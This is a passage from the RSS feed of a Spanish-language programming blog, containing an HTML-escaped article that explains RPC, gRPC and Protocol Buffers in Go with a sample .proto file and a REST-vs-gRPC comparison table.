incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;},{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>APIs de alto rendimiento Go Lang gRPC y Protobuffers</title>
      <link>https://coffeebytes.dev/es/software-architecture/apis-de-alto-rendimiento-go-lang-grpc-y-protobuffers/</link>
      <pubDate>Thu, 19 Jan 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/apis-de-alto-rendimiento-go-lang-grpc-y-protobuffers/</guid>
      
      <category>software architecture</category>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Los protobuffers te permiten crear una API gRPC que tiene la característica de ser increíblemente más rápida, por usar binario en lugar de otros formatos menos optimizados (Como JSON), en esta entrada aprenderás en que consiste este tipo de API y porque es tan rápido.&lt;/p&gt;&#xA;&lt;p&gt;En mi entrada sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;las características básicas sobre una API REST&lt;/a&gt;&#xA; te mencioné que, además de REST, existían otros tipos de APIS, una de ellas es gRPC, la cual se deriva de RPC, por lo que empecemos la entrada hablando sobre esta última.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-es-rpc&#34;&gt;¿Qué es RPC?&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;},{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Las siglas de RPC vienen de Remote Procedure Call (Llamada de procedimiento remoto en español), que, en palabras simples, se refiere a invocar a la ejecución de código en una máquina, desde otra máquina, generalmente un servidor, de manera que, para el programador, pareciera que la ejecución se realizó de manera local.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-funciona-rpc&#34;&gt;¿Cómo funciona RPC?&lt;/h3&gt;&#xA;&lt;p&gt;El proceso más detallado es el siguiente:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;El cliente realiza la llamada enviando un mensaje a la red.&lt;/li&gt;&#xA;&lt;li&gt;La llamada incluye un procedimiento para codificar los métodos, tipos de&#xA;request y tipo de respuesta en el formato adecuado&#xA;(&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://es.wikipedia.org/wiki/Marshalling&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;marshalling&lt;/a&gt;&#xA;). &lt;strong&gt;A este&#xA;procedimiento se llama el stub&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;El servidor recibe la petición y usa el stub para decodificar los datos en el&#xA;formato adecuado del entorno RPC y saber que ejecutar y con que información.&lt;/li&gt;&#xA;&lt;li&gt;Se ejecuta la tarea en el servidor y como resultado se genera una respuesta.&lt;/li&gt;&#xA;&lt;li&gt;La respuesta del servidor se codifica usando el stub y se envía al cliente.&lt;/li&gt;&#xA;&lt;li&gt;El cliente recibe la respuesta y la decodifica en el formato adecuado.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/images/rpc-esquema.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/images/rpc-esquema.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema del funcionamiento de gRPC&#34; width=&#34;1080&#34; height=&#34;669&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Esquema del funcionamiento de gRPC&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;¿Notaste que mencioné codificación de datos? Pues bien, un aspecto de RPC a destacar es que requiere que tanto cliente como servidor usen el mismo lenguaje de programación, lo cual lo vuelve una desventaja en entornos donde se pueden mezclar múltiples lenguajes de programación.&lt;/p&gt;&#xA;&lt;p&gt;Ahora sí, vamos con gRPC.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;que-es-go-lang-grpc&#34;&gt;¿Qué es Go Lang gRPC?&lt;/h2&gt;&#xA;&lt;p&gt;Google tomó en cuenta las carencias de RPC y decidió mejorarlo creando gRPC.&lt;/p&gt;&#xA;&lt;p&gt;gRPC emula a RPC con la ventaja de que &lt;strong&gt;no necesita usar el mismo lenguaje de programación&lt;/strong&gt; para llevar a cabo la comunicación entre máquinas.&lt;/p&gt;&#xA;&lt;p&gt;¿Y qué pasó con la codificación de datos? Pues Google desarrolló los Protocol Buffers (o protobuffers) para usarlos como el formato predeterminado d gRPC en el intercambio de información entre máquinas y conseguir un rendimiento superior a otros formatos como JSON o XML.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;que-son-los-go-lang-protobuffers&#34;&gt;¿Qué son los Go Lang protobuffers?&lt;/h2&gt;&#xA;&lt;p&gt;Seguramente has trabajado con APIs y has notado que, al comunicarte con una API, existe un intercambio de información; tú le mandas información a la API y esta te retorna una respuesta. Este intercambio de información puede llevarse a cabo en diferentes formatos, texto plano, XML (si eres de la vieja escuela) o JSON (el más popular a la fecha de hoy).&lt;/p&gt;&#xA;&lt;p&gt;Para que este intercambio ocurra tiene que realizarse una serialización de la información al enviarla y, posteriormente, una deserialización.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    JSON-- serialización --&gt;data;&#xA;    data-- deserialización --&gt;JSON;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Los Protocol Buffers (protobuffers en adelante) son un formato completamente agnóstico de lenguaje y plataforma, que gRPC usa para serializar y deserializar información estructurada solo que, en lugar de usar JSON, XML u otro formato, se realiza directamente en binario. Lo anterior, como ya sabes, lo vuelve mucho más eficiente que usar un formato más amigable con los humanos como JSON.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/images/protobuffers-grpc.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/images/protobuffers-grpc.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;La compilación de el archivo .proto es unidireccional, mientras que la serialiazación deserialización es bidireccional&#34; width=&#34;1400&#34; height=&#34;800&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;La compilación de el archivo .proto es unidireccional, mientras que la serialiazación deserialización es bidireccional&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;como-convertir-informacion-con-los-protobuffers&#34;&gt;¿Cómo convertir información con los protobuffers?&lt;/h3&gt;&#xA;&lt;p&gt;Simplificando, para crear el código necesario para serializar y deserializar en el formato de los protobuffers partimos de un archivo de extensión &lt;em&gt;.proto&lt;/em&gt;, este se encargará de modelar la información que usaremos para comunicarmos, así como los servicios que estarán disponibles para nuestra API. Básicamente es decirle como está estructurada nuestra información y que cambios vamos a realizar sobre esta información junto con lo que recibirán como entrada y devolverán como respuesta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;message DataResponse {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;int32&lt;/span&gt; id = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; info = &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; result = &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;message DataRequest {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;int32&lt;/span&gt; id = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; info = &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;service Publisher {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rpc &lt;span style=&#34;color:#57c7ff&#34;&gt;ProcessData&lt;/span&gt; (DataRequest) &lt;span style=&#34;color:#57c7ff&#34;&gt;returns&lt;/span&gt; (DataResponse) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras definir nuestros modelos y servicios, estos archivos se compilan, y nos generarán el código necesario para serializar y deserializar la información en el lenguaje que nosotros querramos, tanto del lado del cliente como del servidor. Nosotros no tenemos que preocuparnos de los detalles al respecto.&lt;/p&gt;&#xA;&lt;p&gt;Actualmente el formato &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developers.google.com/protocol-buffers&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;protobuffers se encuentra disponible para C#, C++, Go, Objective-C, Java, Python y Ruby.&lt;/a&gt;&#xA; Revisa la documentación para tu lenguaje en particular.&lt;/p&gt;&#xA;&lt;h2 id=&#34;rest-vs-go-lang-grpc&#34;&gt;REST vs Go Lang gRPC&lt;/h2&gt;&#xA;&lt;p&gt;A continuación te resumo en esta tabla las diferencias que existen entre REST y gRPC&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Aspecto&lt;/th&gt;&#xA;          &lt;th&gt;REST (JSON/HTTP)&lt;/th&gt;&#xA;          &lt;th&gt;gRPC (Protobuf)&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Velocidad&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Más lento (texto)&lt;/td&gt;&#xA;          &lt;td&gt;Más rápido (codificación binaria)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Tamaño de datos&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Grande (JSON)&lt;/td&gt;&#xA;          &lt;td&gt;Pequeño (Protobuf binario)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Compilación&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Sin esquema (dinámico)&lt;/td&gt;&#xA;          &lt;td&gt;Requiere compilación de Protobuf&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Versión HTTP&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;HTTP/1.1 (mayormente)&lt;/td&gt;&#xA;          &lt;td&gt;HTTP/2 (streams multiplexados)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Streaming&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Limitado (SSE, WebSockets)&lt;/td&gt;&#xA;          &lt;td&gt;Nativo (cliente/servidor/bidireccional)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Compatibilidad con navegadores&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Completa&lt;/td&gt;&#xA;          &lt;td&gt;Limitada (requiere gRPC-Web)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Generación de código&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Opcional (Swagger/OpenAPI)&lt;/td&gt;&#xA;          &lt;td&gt;Integrada (&lt;code&gt;protoc&lt;/code&gt;)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Casos de uso&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;APIs públicas, aplicaciones web&lt;/td&gt;&#xA;          &lt;td&gt;Microservicios, sistemas internos&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Manejo de errores&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Códigos de estado HTTP&lt;/td&gt;&#xA;          &lt;td&gt;Códigos de error detallados&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Integración en Go&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Structs manuales (&lt;code&gt;json:&amp;quot;&amp;quot;&lt;/code&gt;)&lt;/td&gt;&#xA;          &lt;td&gt;Structs generados automáticamente&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Caché&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Fácil (caché HTTP)&lt;/td&gt;&#xA;          &lt;td&gt;Difícil (formato binario)&lt;/td&gt;&#xA;      